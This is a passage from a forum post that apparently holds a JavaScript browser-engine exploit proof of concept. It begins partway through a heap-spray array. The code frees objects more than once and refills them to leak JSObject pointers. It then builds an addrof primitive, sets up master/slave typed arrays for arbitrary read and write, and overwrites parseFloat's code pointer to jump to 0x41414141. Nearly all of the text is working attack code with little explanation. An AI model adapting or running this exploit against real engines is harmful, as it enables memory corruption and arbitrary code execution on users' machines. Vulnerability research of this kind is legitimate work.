    0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2,
    0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2,
    0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2,
    0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2,
    0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2,
    0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2,
    0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2,
    0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2,
    0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2,
    0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2,
    0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2,
    0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2,
    0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2,
    0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2,
    0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2,
    0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2,
    0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2,
    0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2,
    0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2,
    0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2,
    0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2,
    0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2,
    0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2,
];

print("leaking JSObject data");
// Parses the string into a bunch of uint32s
for (var i = 0; i < 0x38; i += 4) {
    var ptr = 0;
    var val = '';
    ptr = refill_0.slice(i, i + 4);

    for (var j = 3; j >= 0; j--) {
        var char = ptr.charCodeAt(j).toString(16);
        if (char.length == 1)
            char = '0' + char;
        val += char;
    }
    val = parseInt(val, 16);
    jsobj_leak_data[i / 4] = val;
}

var shape = toint64(jsobj_leak_data[(24 - 0x10) / 4], jsobj_leak_data[(28 - 0x10) / 4]);
var prop = toint64(jsobj_leak_data[(32 - 0x10) / 4], jsobj_leak_data[(36 - 0x10) / 4]);
var values = toint64(jsobj_leak_data[(56 - 0x10) / 4], jsobj_leak_data[(60 - 0x10) / 4]);

print("shape @ " + shape.toString(16));
print("prop @ " + prop.toString(16));
print("values @ " + values.toString(16));

print("freeing target twice and refilling with two JSObjects");
refill_1 = 0;
refill_1 = [0x1337, 0x1337];


refill_0 = 0;
refill_0 = [0x71717171];

print("freeing object again and refilling with ArrayBuffer data");
refill_1 = 0;
// Need to free other JSObject size things as well to cause the
// data to overlap and not the JSObject of the ArrayBuffer
x = 0;
y = 0;
refill_1 = new Uint32Array(0x48 / 4);
refill_1.fill(0x41414141);

print("crafting JSObject with values pointing to spray buffer data");
jsobj_leak_data[(56 - 0x10) / 4] += 0x2000;
overlap_addr = values + 0x2000;

for (var i = 4; i < 0x48 / 4; i++) {
    refill_1[i] = jsobj_leak_data[i - 4];
}
refill_1[0] = 0x51414141;
refill_1[1] = 0x00020d00;
refill_1[2] = 0x41414141;
refill_1[3] = 0x41414141;
print("new values @ " + overlap_addr.toString(16));

print("finding overlap");
refill_0[0] = 0x1;  //modify spray value, not modify free addr

var overlap_buf;
var ovelap_index;
for (var i = 0; i < spray.length; i++) {
    for (var j = 0; j < (0x1000 / 4); j++) {

        if (spray[i] && spray[i][j] == 0x1) {
            overlap_buf = spray[i];
            overlap_index = j;
            print("overlap found");
            print("spray index = " + i.toString(16));
            print("index into buffer = " + j.toString(16));

        }
    }
}


function addrof(obj) {
    refill_0[0] = obj;
    var ret = toint64(overlap_buf[overlap_index], overlap_buf[overlap_index + 1]);
    refill_0[0] = 0;
    return ret;
}


print("crafting master and slave typed arrays");
master_addr = addrof(master);
slave_addr = addrof(slave);
parseFloat_addr = addrof(parseFloat);

print("master addr = " + master_addr.toString(16));
print("slave addr = " + slave_addr.toString(16));
print("parseFloat addr = " + parseFloat_addr.toString(16));


print("setting master->values to slave addr");
// Point our crafted JSObject values to the address of master->values
refill_1[(56) / 4] = (master_addr & 0xffffffff) + 56;
refill_0[0] = slave;
//refill_1[(56) / 4] = overlap_addr;

print("setting up arb read/write");

function write64(addr, val) {
    master[56 / 4] = (addr & 0xffffffff) >>> 0;
    master[60 / 4] = addr / 0x100000000;

    slave[0] = val & 0xffffffff;
    slave[1] = val / 0x100000000;

}

print("jumping to 0x41414141");
write64(parseFloat_addr + 0x30, 0x414141414141);
parseFloat();

print("DONE");

点击收藏 | 0 关注 | 1
  • 动动手指,沙发就是你的了!
登录 后跟帖